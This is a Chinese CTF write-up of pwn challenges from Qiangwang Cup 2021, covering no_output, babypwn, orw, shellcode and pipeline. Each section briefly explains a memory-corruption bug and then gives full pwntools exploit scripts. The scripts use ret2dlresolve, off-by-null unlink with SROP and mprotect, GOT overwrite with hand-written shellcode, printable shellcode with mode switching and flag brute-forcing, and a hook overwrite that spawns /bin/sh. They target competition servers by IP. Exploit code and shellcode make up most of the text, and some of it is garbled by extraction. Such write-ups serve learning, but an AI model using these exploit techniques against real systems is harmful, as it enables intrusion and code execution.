

强网杯2021 pwn writeup by syclover

原创

77Pray 于 2021-06-15 18:40:01 发布 526 收藏

分类专栏: [pwn](#)

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订阅专栏

no_output

首先是利用strcpy把fd给覆盖为0

```
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src); |
v3 = "now give you the flag\n";
read(fd, src, 16u);
```

然后read hello_boy 通过检测

```
dd offset aYouSeeThis    ; "you_see_this"
dd offset aHelloBoy      ; DATA XREF:| sub_8049424+A4
ends                      ; "hello_boy"
```

接着触发算数运算错误

```
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
    signal(8, sub_8049236);
    v2[1] = v2[0] / v1;
    result = signal(8, 0);
}
```

就能进入栈溢出函数

```

char buf[68]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 256u);

```

最后就是直接用32位ret2dlresolve的模板了

```

from pwn import *
arch      = 32
challenge = "./test"
local    = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    r = process(challenge)
    #r = gdb.debug(challenge,"break main")
    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF(challenge)
else:
    #libc = ELF("./libc.so.6")
    r = remote("39.105.138.97",1234)
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p  = lambda      : pause()
s  = lambda x    : success(x)
re = lambda x    : r.recv()
ru = lambda x    : r.recvuntil(x)
rl = lambda      : r.readline()
sd = lambda x    : r.send(x)
sl = lambda x    : r.sendline(x)
itr = lambda      : r.interactive()
sla = lambda a, b : r.sendlineafter(a, b)
sa  = lambda a, b : r.sendafter(a, b)
leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt = elf.plt["read"]

#gdb.attach(r)
p1 = b"\x00" * 0x30
sd(p1)
sleep(1)
sd(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
sd(str1)
sl("-2147483648")
sl("-1")
sleep(0.1)

read_plt = 0x80490C4

ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop/ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "Leave/ret"

```

```

stack_size = 0x800
bss_addr = 0x0804c040 # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size

payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)

cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248 # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']

align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐（即两者的差值能被16整除），因为结构体sym的大小都是16字节
r_info = (((fake_sym_addr - dynsym)//16) << 8) | 0x7 # 使其最低位为7，通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0x12))
fake_write_str = 'system\x00'

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()

```

babypwn

限制点：glibc2.27，用seccomp禁掉了exec

漏洞点：edit函数有个隐性的off by null，当我们填充完chunk，然后下一个chunk的size为最低字节刚好为0x11时就能触发

```

while ( 1 )
{
    result = *chunk;
    if ( !result )
        break;
    if ( *chunk == 0x11 )
    {
        result = chunk;
        *chunk = 0;
        return result;
    }
    ++chunk;
}

```

然后我们依次把prev_size位高位清零，就能伪造prev_size，从而通过unlink实现overlap

利用思路：off by null 加 unlink 就能实现overlap，从而任意地址写，show函数有个加密

```

for ( i = 2; i > 0; --i )
    a1 ^= (0x20 * a1) ^ ((a1 ^ (0x20 * a1)) >> 0x11) ^ (((0x20 * a1) ^ a1 ^ ((a1 ^ (0x20 * a1)) >> 0x11)) << 13);
return printf("%lx\n", a1);

```

用z3解就行，把一个unsortedbin申请回来再show它的fd，就能泄露libc，最后套SROP读flag.txt的模板即可

```

from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = './babypwn'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')
sh = remote("39.105.130.158",8888)

def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()

def add(size):
    sh.sendlineafter(">>> ", "1")
    sh.sendafter("size:\n", str(size))

def delete(index):
    sh.sendlineafter(">>> ", "2")

```

```

sh.sendlineafter("index:\n",str(index))

def edit(index,data):
    sh.sendlineafter(">>> ","3")
    sh.sendlineafter("index:\n",str(index))
    sh.sendafter("content:\n",data)

def show(index):
    sh.sendlineafter(">>> ","4")
    sh.sendlineafter("index:",str(index))
    sh.recvuntil('\n')
    re1 = int(sh.recvuntil("\n")[:-1],16)
    re1 = solve(re1)
    re2 = int(sh.recvuntil("\n")[:-1],16)
    re2 = solve(re2) * 0x100000000
    return (re1+re2)
#return int(sh.recvuntil("\n")[:-1],16)

def debug():
    gdb.attach(sh)
    pause()

for i in range(7):
    add(0x100) # 0-6

for i in range(7):
    add(0xf0)
for i in range(7):
    delete(i+7)

add(0x108) #7
add(0x80) #8
add(0x108) #9
add(0x100) #10
add(0x100) #11
edit(10,b'a'*0xf0+p64(256)+p64(0x21))
edit(11,b'\x21'*0x10)
edit(9,'a'*0x108)
edit(9,'a'*0x107+'\x11')
edit(9,'a'*0x106+'\x11')
edit(9,'a'*0x105+'\x11')
edit(9,'a'*0x104+'\x11')
edit(9,'a'*0x103+'\x11')
edit(9,'a'*0x102+'\x11')
edit(9,'a'*0x100+'\xb0\x02')
for i in range(7):
    delete(i)
#edit(7,b'a'*0x100+p64(0x110))
delete(7)
delete(10)
#debug()
delete(8)
add(0x190) #0
libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 - 96
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
#debug()

```

```
#debug()
edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))
add(0x80) #1
add(0x80) #2
setcontext = libc_base + libc.symbols['setcontext']
success("setcontext: " + hex(setcontext))
context.arch = "amd64"
new_execve_env = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()
frame = SigreturnFrame()
frame.rsp = free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')
edit(11,bytes(frame))
#debug()
delete(11)

shellcode = ""
shellcode += shellcraft.open('flag.txt')
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)

sh.sendline(payload)
sh.interactive()
```

orw

漏洞点在add和free chunk时没有检测下标

```

puts("index:");
index = myread1();
puts("size:");
v2 = myread1();
if ( v2 >= 0 && v2 <= 8 && index <= 1 )
{
    qword_55CC7A2C80E0[index] = malloc(v2);
    if ( !qword_55CC7A2C80E0[index] )
    {
        puts("error");
        exit(0);
    }
    puts("content:");
    myread(qword_55CC7A2C80E0[index], v2);
}

```

```

if ( qword_55CC7A2C8138 <= 0 )
{
    puts("index:");
    v1 = myread1();
    free(qword_55CC7A2C80E0[v1]);
    qword_55CC7A2C80E0[v1] = 0LL;
    result = ++qword_55CC7A2C8138;
}

```

所以我们可以填负数直接写free函数的GOT表，由于给了rwx权限

```

[*] '/mnt/c/Users/77/Downloads/[强网先锋]orw/附件/pwn'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

```

可以直接写shellcode执行，最后shellcode拓展攻击写orw

```

from pwn import *
import sys
context.log_level = "debug"
context.arch='amd64'

log    = lambda name, info : success(name + ":" + hex(info))
search = lambda function : libc.symbols[function]
sd    = lambda msg      : p.send(msg)
sdl   = lambda msg      : p.sendline(msg)
sda   = lambda info, msg: p.sendafter(info, msg)
sdla  = lambda info, msg: p.sendlineafter(info, msg)
rc    = lambda num      : p.recv(str(num))
ru    = lambda msg      : p.recvuntil(msg)
uu32  = lambda msg      : u32(msg.ljust(4, '\x00'))
uu64  = lambda msg      : u64(msg.ljust(8, '\x00'))

local = 0
chunk_list = 0x5555557560e0#0x2020E0
times = 0x555555756130

```

```

def db():
    if local == '1':
        byte = raw_input("debug or not:")
        if byte == 'c\n':
            gdb.attach(p, "b *0x555555757160")
        else:
            print "No"
    else:
        success("Remoting...")

def choose(num):
    p.sendlineafter("choice >>", str(num))

def add(idx, size, msg):
    choose(1)
    sdla("index:", str(idx))
    sdla("size", str(size))
    sdla("content:", msg)

def delete(idx):
    choose(4)
    sdla("index:", str(idx))

def exp():
    shell = "\x48\x87\xDF" #xchg rdi, rbx
    shell += "\x48\x96" #xchg rsi, rbx
    shell += "\x48\x83\xF6\x70" #xor rsi,0x70
    shell += "\x6A\x00\x58" #push 0; pop eax;
    shell += "\xBA\xF0\x00\x00\x00" #push 0xf0;pop edx;
    shell += "\x0F\x05"      #syscall
    shell += "\x56\x5C\xFF\xE4" #push rsi;pop rsp;jmp rsp;
    add(-25, 0, shell)
    db()
    delete(-25)

    ...

    push 0x67616c66
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push 2 /* 2 */
    pop rax
    syscall
    ...

payload = asm(shellcraft.open('flag'))
...
xchg rdi,rax
xchg rsi, rcx
push 0x90
pop rdx
push 0
pop rax
syscall
...
payload += "\x48\x97\x48\x87\xCE\x68\x90\x00\x00\x00\x5A\x6A\x00\x58\x48\x81\xF6\xE0\x00\x00\x00\x0F\x05"
...
push 0x1

```

```

pop rax
push 0x1
pop rdi
syscall
...
payload+= "\x6A\x01\x58\x6A\x01\x5F\x0F\x05"
p.sendline(payload)
p.interactive()

if __name__ == '__main__':
if local == '1':
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process(['./dubblesort'], env={"LD_PRELOAD": "./libc_64.so.6"})
else:
p = remote("39.105.131.68", "12354")
exp()

```

shellcode

- alpha3 加密shellcode可以获得可打印字符的shellcode,
- 通过切换32位 64位可以从获得open和read的系统调用,
- 读入flag以后没有打印，使用cmp+jz的形式，逐位比较，如果对应位字符正确就死循环，

```

v0 = sys_alarm(0x3Cu);
v1 = sys_prctl(38, 1uLL, 0LL, 0LL);
v3 = sys_prctl(22, 2uLL, arg3, v2);
v4 = sys_mmap(0LL, 0x1000uLL, 7uLL, 0x22uLL, 0xFFFFFFFFuLL, 0LL);
v5 = sys_read(0, v4, 0x1000uLL);
v6 = v5;
if ( v4[v5 - 1] == 10 )
{
    v4[v5 - 1] = 0;
    v6 = v5 - 1;
}
for ( i = 0; i < v6; ++i )
{
    if ( v4[i] <= 31 || v4[i] == 127 )
        goto LABEL_10;
}
(v4)();

```

第一段shellcode必须可打印，先mmap出来一块32位可访问内存，读入第二段shellcode, 第二段可以不要求可打印了，这一段主要是为了配合 `retfq` 跳到32位执行，

然后到32位以后可以使用open系统调用了，再跳回64位，这时候可以直接 `retfq` 到下一句，可以写一起，然后64位下可以read进来flag, 然后使用一段 `cmp` + `jz` 的形式写一段比较，如果flag对应位正确的话死循环，这样可以通过程序是否崩溃判断正确，于是可以进行爆破。

```

from pwn import *

def pwn(cn, reloc, ch):
    payload = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G2p160h05103f0u0Y3i4J2A0p0s2F0Z0r
0j030M071n0C0j0N050A403j3e2L0P104N0b0p2J0p7l052E3P0w0q2N0l2I2s127p2n0p0u0x4J04"
    cn.sendline(payload)
    open32 = b'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80'

    to64 = b"j3h\x2e@@@H\xcb"
    read64 = b'j\x03_1\xc0jPZH\x89\xe6\x0f\x05'

    if reloc == 0:
        shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-4; ret".format(reloc, ch)
    else:
        shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-5; ret".format(reloc, ch)
    check = asm(shellcode, arch='amd64', os='linux')

    payload = open32 + to64 + read64 + check

    cn.send(payload)

# 爆破:
reloc = 0
ans = []
debug = 1
my_flag = ''
while True:
    for ch in range(33, 127):
        cn = remote("39.105.137.118", 50050)
        # cn = process("./shellcode")
        try:
            print(ch)
            pwn(cn, reloc, ch)
            cn.recvline(timeout=3.0)
            #p.interactive()
            my_flag = my_flag + chr(ch)
            print("=>", my_flag)
            reloc += 1
            cn.close()
            break;
        except EOFError:
            ch += 1
            cn.close()

print("".join([chr(i) for i in ans]))

# 逐字节验证了下:
flag = 'flag{cdc31bf52a72521c93b690ad1978856d}'
len1 = len(flag)

for i in range(len1):
    cn = remote("39.105.137.118", 50050)
    pwn(cn, i, ord(flag[i]))
    print('ok=>', i, flag[i])
    cn.interactive()

```

pipeline

- libc2.31
- 堆溢出
- 配合对风水直接修改pipe->data， 实现任意地址修改，

漏洞主要是写入data的时候v1是有符号16位，

```
size = read_number("size: ");
printf("data: ");
*&v1 = chunk->size - chunk->offset;
if ( size <= *&v1 )
    v1 = size;
result = my_read((chunk->data + chunk->offset), v1);
```

后面进入函数以后是无符号整数， 会从int 16为拓展为unsigned int 64，

```
unsigned __int64 result; // rax
char buf; // [rsp+18h] [rbp-5h] BYREF
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
    result = a2;
    if ( i >= result )
        break;
    if ( read(0, &buf, 1uLL) <= 0 )
    {
        puts("read error");
        exit(0);
    }
```

```
    mov    [rbp+var_18], rdi
    mov    eax, esi
    mov    [rbp+var_1C], ax
    mov    [rbp+var_4], 0
```

这里的绕过可以在前面 `if (size <= v1)` 使用v1为负数， 然后进入 `my_read` 函数以后截取后部分这里会拓展为int类型， 这时候可以让后半部分为正数， 我们构造出来一个0xf0f00f0f的输入， 即可在后面实现 `my_read(buf, 0x0f0f)` 的溢出，

配合堆风水， 改掉对应的pipe->data位， 实现任意地址写

```
from pwn import *

pie = 1
arch = 64
bps = [0x00000000000018AF]

def pipe():
    sla(">> ", "1")

def data(index, offset, size):
    sla(">> ", '2')
    sla('index: ', str(index))
    sla('offset: ', str(offset))
```

```

sla('size: ', str(size))

def edit(index, size, data):
    sla('>> ', '4')
    sla('index: ', str(index))
    sla('size: ', str(size))
    sla('data: ', data)

def show(index):
    sla('>> ', '5')
    sla('index: ', str(index))

def dele(index):
    sla('>> ', '3')
    sla('index: ', str(index))

def exp():
    pipe()
    pipe()
    pipe()

    data(0, 0, 0x410)
    data(1, 0, 0x38)
    data(0, 0, 0x420)

    pipe()
    data(2, 0, 0x40)

    pipe()
    show(2)
    ru('data: ')
    LIBC = u64(re(6, 2).ljust(8, b'\x00')) - 0x3b5be0
    slog['libc'] = LIBC

    data(4, 0, 0x40)
    edit(2, 0xf0f00ff0, flat('a' * 0x48, 0x21, LIBC + libc.sym['__realloc_hook']))
    edit(4, 8, p64(LIBC + libc.sym['system']))

    edit(0, 0x8, '/bin/sh\x00')

    data(0, 0, 0x30)

context.os='linux'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

slog = {'name' : 111}
local = int(sys.argv[1])

if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'

if local:
    cn = process('./rbin')
    # cn = process(['./Ld', './bin'], env={"LD_PRELOAD": "./Libc"})

```

```
libc = ELF("/glibc/2.31/64/lib/libc-2.31.so")
else:
    cn = remote( )

elf = ELF('./bin')

re = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda      : cn.recv()
ru  = lambda x   : cn.recvuntil(x)
rl  = lambda      : cn.recvline()
sd  = lambda x   : cn.send(x)
sl  = lambda x   : cn.sendline(x)
ia  = lambda      : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa  = lambda a, b : cn.sendafter(a, b)
sll = lambda x   : cn.sendlineafter(':', x)

exp()

slog_show()

ia()
```